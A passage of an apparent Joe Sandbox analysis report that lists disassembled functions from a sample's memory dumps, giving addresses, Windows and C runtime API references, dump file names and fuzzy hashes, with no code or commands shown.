Instruction ID: d557c5c0d64bfbbfc7f67b05e50e1fbacd52890b3d961a2390a3753e35a45986
Opcode Fuzzy Hash: 4333ea13b7f7892cb13c7834fe0fbc8b7cb0659b0560af6bfa7ef98de9a8054c
Instruction Fuzzy Hash: A121A121B28D4281FA35BB24E9003BA9A50BF483B4FC04136D65D867D6EE2CF60D8730

Function 00007FF7102DEC9C Relevance: 6.2, APIs: 4, Instructions: 162COMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7102DED8C
_get_daylight.LIBCMT ref: 00007FF7102DED9D
_get_daylight.LIBCMT ref: 00007FF7102DEDAE
_isindst.LIBCMT ref: 00007FF7102DEE79

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _get_daylight$_isindst
String ID:
API String ID: 4170891091-0
Opcode ID: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
Instruction ID: 31faca23d657f6e774f824f46ca35c95a7c7f6333ea2be9f127d4fe23311b829
Opcode Fuzzy Hash: 8f9731ccc05e5e98dab1658fcebd939f282d40e9b6d5561daf5942648b351509
Instruction Fuzzy Hash: 1351D673F049118AEF18FF6499856BCABA5AB54378F900235DD2E52BE5DF38F8098710

Function 00007FFEEE1D6110 Relevance: 6.1, APIs: 4, Instructions: 129COMMON

Download Yara Rule

APIs

__security_init_cookie.LIBCMT ref: 00007FFEEE1D6138
GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D616F
SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FFEEE1D61C1

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: ErrorLast$__security_init_cookie
String ID:
API String ID: 2222513578-0
Opcode ID: d32f32be829c345f8424b6e50172c33a4feb856c6a1ec6dc64b44a65f2bf0592
Instruction ID: 534270b843dba3d0ffdc70f8c149f2af7edea1f8e4b6c4c80d4faca66058a6bd
Opcode Fuzzy Hash: d32f32be829c345f8424b6e50172c33a4feb856c6a1ec6dc64b44a65f2bf0592
Instruction Fuzzy Hash: 3C51A120F0C25342FA686B64B95137961829FC87E1F174236D9DE466FBDFECB8814643

Function 00007FF7102D4A8C Relevance: 6.1, APIs: 4, Instructions: 119pipeCOMMON

Download Yara Rule

APIs

GetFileType.KERNELBASE ref: 00007FF7102D4ABF
GetFileInformationByHandle.KERNELBASE ref: 00007FF7102D4B21
GetLastError.KERNEL32 ref: 00007FF7102D4BB2
PeekNamedPipe.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7102D49C4), ref: 00007FF7102D4BFE

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: File$ErrorHandleInformationLastNamedPeekPipeType
String ID:
API String ID: 2780335769-0
Opcode ID: 44011dbc5c196255e5d063134f532b0674048b95aab6dcf0e225215e54208c6d
Instruction ID: 0b0285ece993cf520da3bcccbba30a15fcde402c99843d68dce0a853e871825d
Opcode Fuzzy Hash: 44011dbc5c196255e5d063134f532b0674048b95aab6dcf0e225215e54208c6d
Instruction Fuzzy Hash: 4D519023E18A418AFB14EF71D4503BDABA1EF58BA8F504136DE0957788DF38E8498720

Function 00007FF7102D4938 Relevance: 6.1, APIs: 4, Instructions: 90fileCOMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102D4965
CreateFileW.KERNELBASE ref: 00007FF7102D49A4
CloseHandle.KERNEL32 ref: 00007FF7102D49D9

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CloseCreateFileHandle_invalid_parameter_noinfo
String ID:
API String ID: 1279662727-0
Opcode ID: c9c3dc0ca6ff3025a18f37416ed5252826b5e2a6b8668c561ba6737191909872
Instruction ID: e649332815007ec6c8473e93cdf575f6007eedf6f01141f36c7b35628d47301a
Opcode Fuzzy Hash: c9c3dc0ca6ff3025a18f37416ed5252826b5e2a6b8668c561ba6737191909872
Instruction Fuzzy Hash: 9341A223D18B8243E754AB2195103B9AA60FB94774F509335EA9C03BD5DF7CF9E88720

Function 00007FFEEE1DCA40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFEEE1CDCF0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FFEEE1D34C9,?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?), ref: 00007FFEEE1CDD38

InitializeCriticalSectionAndSpinCount.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,00007FFEEE1DF39E,?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE215B8C
GetProcAddress.API-MS-WIN-CORE-LIBRARYLOADER-L1-1-0(?,?,?,?,00007FFEEE1DF39E,?,?,?,?,?,00007FFEEE1DF0A6), ref: 00007FFEEE215BA2

Strings

InitializeCriticalSectionEx, xrefs: 00007FFEEE215B98

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AddressAllocCountCriticalHeapInitializeProcSectionSpin
String ID: InitializeCriticalSectionEx
API String ID: 1188775705-3084827643
Opcode ID: d50c9835e02574957e0a21de02abdf2f731f597d5daf9e2beef02907001a061a
Instruction ID: 1cb4032fdd2bbf45485a99932d18939d0fed74e2e4831fbb8b7e0e599fb21968
Opcode Fuzzy Hash: d50c9835e02574957e0a21de02abdf2f731f597d5daf9e2beef02907001a061a
Instruction Fuzzy Hash: B141AF22B18B4282EA149F19F41077933A0FB88760F474735DAAD477E4DFBCE9558301

Function 00007FF7102CBF5C Relevance: 4.6, APIs: 3, Instructions: 94COMMON

Download Yara Rule

APIs

Part of subcall function 00007FF7102CC12C: __scrt_dllmain_crt_thread_attach.LIBCMT ref: 00007FF7102CC140

__scrt_acquire_startup_lock.LIBCMT ref: 00007FF7102CBF80
__scrt_release_startup_lock.LIBCMT ref: 00007FF7102CBFEE
__scrt_get_show_window_mode.LIBCMT ref: 00007FF7102CC041

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: __scrt_acquire_startup_lock__scrt_dllmain_crt_thread_attach__scrt_get_show_window_mode__scrt_release_startup_lock
String ID:
API String ID: 3251591375-0
Opcode ID: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction ID: ddf28a72de9e08fb83a90676d194e05ea0adb1fec1b32f0de273226ca97cdbf1
Opcode Fuzzy Hash: 51e2e4cc4e0defacebf1dac919e01b91b6d5e84f1fe25dd37a2b49ce45fe95ab
Instruction Fuzzy Hash: B9317E21E1CD4B81FA25B76596213B99B40AF413A4FE44038E90D477D3DE6CB80CC731

Function 00007FF7102D8D48 Relevance: 4.5, APIs: 3, Instructions: 14COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,?,00007FF7102D8D44), ref: 00007FF7102D8D59
TerminateProcess.KERNEL32(?,?,?,00007FF7102D8D44), ref: 00007FF7102D8D64
ExitProcess.KERNEL32 ref: 00007FF7102D8D73

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction ID: 933592f460c471b03e391884f24003053d4098c61c06d964145c7e957d0776d8
Opcode Fuzzy Hash: 824606f6feba241c18d37bd9947fb033388d99e3127919417550cde66a1966b4
Instruction Fuzzy Hash: 44D06711B59E0A86EA553B705C5917A9A125FA8721B901438D84F1A3D3CD7CF80D4370

Function 00007FF7102CF45C Relevance: 3.2, APIs: 2, Instructions: 177COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102CF4A0
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102CF597

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: 304c800bfc18b22a295e41f2f803514c44f0a5a87c6028a89610e4dcef950876
Instruction ID: 3d7f9f0e754b73921c49b44adc4021bb839c1b63d88923694cb4a1e9c2762cd1
Opcode Fuzzy Hash: 304c800bfc18b22a295e41f2f803514c44f0a5a87c6028a89610e4dcef950876
Instruction Fuzzy Hash: 50511A62B19A4246F6B8BE259600A7AEA85BF44BB4F944735DE7C077D5CF3CF4088620

Function 00007FF7102DB444 Relevance: 3.0, APIs: 2, Instructions: 46COMMONLIBRARYCODE

Download Yara Rule

APIs

SetFilePointerEx.KERNELBASE(?,?,?,?,?,00007FF7102DB5DD), ref: 00007FF7102DB490
GetLastError.KERNEL32(?,?,?,?,?,00007FF7102DB5DD), ref: 00007FF7102DB49A

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ErrorFileLastPointer
String ID:
API String ID: 2976181284-0
Opcode ID: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction ID: d4476ff14fb7adf359d638732afd7d2ac0b14402ef3b6f3c21a12e4278dcd045
Opcode Fuzzy Hash: cd3a9f3ea8ef265e1697b25d2233ff7099ae2ab5e22e5ab4fa41e006c1c379b1
Instruction Fuzzy Hash: 5F110462708E8181DA10EB25F410169AB61BB44BF4F940331EE7D07BEACE3CE4488350

Function 00007FF7102D4C34 Relevance: 3.0, APIs: 2, Instructions: 40timeCOMMON

Download Yara Rule

APIs

FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7102D4B49), ref: 00007FF7102D4C67
SystemTimeToTzSpecificLocalTime.KERNELBASE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7102D4B49), ref: 00007FF7102D4C7D

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: Time$System$FileLocalSpecific
String ID:
API String ID: 1707611234-0
Opcode ID: 5814b874014510fcf00941fef2b2171ed045486f006683dc2ae422325307d6da
Instruction ID: 8aea175930bcbef319251cc85c6eaa88f25b471b6d1dc56e7ce617c8e7aa4f09
Opcode Fuzzy Hash: 5814b874014510fcf00941fef2b2171ed045486f006683dc2ae422325307d6da
Instruction Fuzzy Hash: 8011943261CA4282EB546B11A40107FFBA1FB81775F900236FAAD41BE4EF3CE418DB20

Function 00007FF7102D9C58 Relevance: 3.0, APIs: 2, Instructions: 19memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RtlFreeHeap.NTDLL(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C6E
GetLastError.KERNEL32(?,?,?,00007FF7102E2032,?,?,?,00007FF7102E206F,?,?,00000000,00007FF7102E2535,?,?,?,00007FF7102E2467), ref: 00007FF7102D9C78

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID:
API String ID: 485612231-0
Opcode ID: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction ID: 8af03df93eb97882562127c5197512a0c912d9a778ef30d3dffcf2da9178f88c
Opcode Fuzzy Hash: 9fa0b27d1784483699343fce5d0d8fb71a2fef38db5c10c130c8b92919593777
Instruction Fuzzy Hash: 81E04F11F09E4242FB197BB1A44517A9A915F98721B804034D90D52391EE2CBC4D4330

Function 00007FF7102D9E68 Relevance: 2.6, APIs: 2, Instructions: 59COMMON

Download Yara Rule

APIs

CloseHandle.KERNELBASE(?,?,?,00007FF7102D9CE5,?,?,00000000,00007FF7102D9D9A), ref: 00007FF7102D9ED6
GetLastError.KERNEL32(?,?,?,00007FF7102D9CE5,?,?,00000000,00007FF7102D9D9A), ref: 00007FF7102D9EE0

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: CloseErrorHandleLast
String ID:
API String ID: 918212764-0
Opcode ID: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction ID: 95bf02464edc25d113211bec24cd5478de46edd2beadbc20f83ec404bc8adbfb
Opcode Fuzzy Hash: 65da2f67be20623dd6870cbeabcb199f1b77c363b63baf0d8a802715797da709
Instruction Fuzzy Hash: F821C613F1CE8241EE94B765A49037D9B926F847B0F94523AE92E477D5DE6CFC488320

Function 00007FFEEE1CDCF0 Relevance: 2.6, APIs: 2, Instructions: 50memoryCOMMONLIBRARYCODE

Download Yara Rule

APIs

HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FFEEE1D34C9,?,?,?,00007FFEEE2139B1,?,?,?,?,00007FFEEE1D78EA,?,?,?), ref: 00007FFEEE1CDD38

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: AllocHeap
String ID:
API String ID: 4292702814-0
Opcode ID: 27d2ecc8a82d26b6ee3a94a029cf6d96569e999f53c42dbd91e108040fe652f2
Instruction ID: 675af881cfa6a87567b8b2b63640daa2f1f2f64a5e18b2c913eabc1bd9a7478f
Opcode Fuzzy Hash: 27d2ecc8a82d26b6ee3a94a029cf6d96569e999f53c42dbd91e108040fe652f2
Instruction Fuzzy Hash: C211A320A1974281FA659F55B8027B66290AFCCF90F0B5135D99E8F3F9DFBCF4808642

Function 00007FFEEE1DC998 Relevance: 2.5, APIs: 2, Instructions: 46COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DC80C), ref: 00007FFEEE1DC9C4
LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DC80C), ref: 00007FFEEE1DCA19

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: 0291edbe3082b304451f4ed1c39b7bd1e6a79d51fcd4033be8e3744c9ea70ef5
Instruction ID: 934986bf45dd9251be1cd2d28819274f845bd42de1ffcb44796a83fbee124ca1
Opcode Fuzzy Hash: 0291edbe3082b304451f4ed1c39b7bd1e6a79d51fcd4033be8e3744c9ea70ef5
Instruction Fuzzy Hash: 95112E31A1875282F351DF14F84067A6364FB88781F570936E9CE876B9EFBCE8918742

Function 00007FFEEE1DC7F0 Relevance: 2.5, APIs: 2, Instructions: 18COMMON

Download Yara Rule

APIs

EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FFEEE1DC7FD

Part of subcall function 00007FFEEE1DC998: EnterCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DC80C), ref: 00007FFEEE1DC9C4
Part of subcall function 00007FFEEE1DC998: LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0(?,?,?,?,?,00007FFEEE1DC80C), ref: 00007FFEEE1DCA19

LeaveCriticalSection.API-MS-WIN-CORE-SYNCH-L1-1-0 ref: 00007FFEEE1DC823

Part of subcall function 00007FFEEE1DC93C: GetStartupInfoW.API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0 ref: 00007FFEEE1DC95C

Part of subcall function 00007FFEEE1DC838: GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FFEEE1DC89A
Part of subcall function 00007FFEEE1DC838: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FFEEE1DC8B0

Memory Dump Source

Source File: 00000010.00000002.1552353019.00007FFEEE1C1000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FFEEE1C0000, based on PE: true

Associated: 00000010.00000002.1552320581.00007FFEEE1C0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552452581.00007FFEEE275000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552509174.00007FFEEE2AF000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000010.00000002.1552536826.00007FFEEE2B2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ffeee1c0000_56C7.jbxd

Similarity

API ID: CriticalSection$EnterLeave$FileHandleInfoStartupType
String ID:
API String ID: 2762830733-0
Opcode ID: ec87571a4dd4f9888bb3e403b7d3050c44f51055bcf036c43b695e8927277bbf
Instruction ID: 8f12dfc1fe45194c42fde615b13068df81b079da0d2f788a3c9abbc3db88a8d3
Opcode Fuzzy Hash: ec87571a4dd4f9888bb3e403b7d3050c44f51055bcf036c43b695e8927277bbf
Instruction Fuzzy Hash: 09E0EC10E0C50285FA24AFB0B8517BA13649FAC302F832536C8CEC51B2EF9CA4DA8712

Function 00007FF7102DB1BC Relevance: 1.6, APIs: 1, Instructions: 112COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DB1E4

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID:
API String ID: 3215553584-0
Opcode ID: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction ID: bc496c37a5be8dfadf0c79d888f0f482d86b07bd7d5a51d719af8fc0202299a3
Opcode Fuzzy Hash: aa739a885bc1dd54b6575df94a709b393c0322d321e92581108345db9e2bb901
Instruction Fuzzy Hash: 1241D633918A0187EA65AB15E56127DFBA1EB55BA0F940131DA8E437D0CF3CF90AC760

Function 00007FF7102C76A0 Relevance: 1.6, APIs: 1, Instructions: 85COMMON

Download Yara Rule

APIs

_fread_nolock.LIBCMT ref: 00007FF7102C774A

Memory Dump Source

Source File: 00000010.00000002.1551419790.00007FF7102C1000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF7102C0000, based on PE: true

Associated: 00000010.00000002.1551387449.00007FF7102C0000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551462787.00007FF7102EB000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF7102FE000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551513938.00007FF710303000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000010.00000002.1551594165.00007FF710306000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_7ff7102c0000_56C7.jbxd

Similarity

API ID: _fread_nolock
String ID:
API String ID: 840049012-0
Opcode ID: e70aac82c324766ad75c35f46a96fc2a337dd4abb3dddf27600edfee51470123
Instruction ID: a4999c922a626897296ed41f330e5678b1a539a401698495f2ba828c30f53a5e
Opcode Fuzzy Hash: e70aac82c324766ad75c35f46a96fc2a337dd4abb3dddf27600edfee51470123
Instruction Fuzzy Hash: 0C217421B28A5646FA10BA16AA047FAEA51BF45BE4FC85430DD0D07786DE7DF44DC720

Function 00007FF7102DAC4C Relevance: 1.6, APIs: 1, Instructions: 79COMMONLIBRARYCODE

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7102DACD2

Memory Dump Source

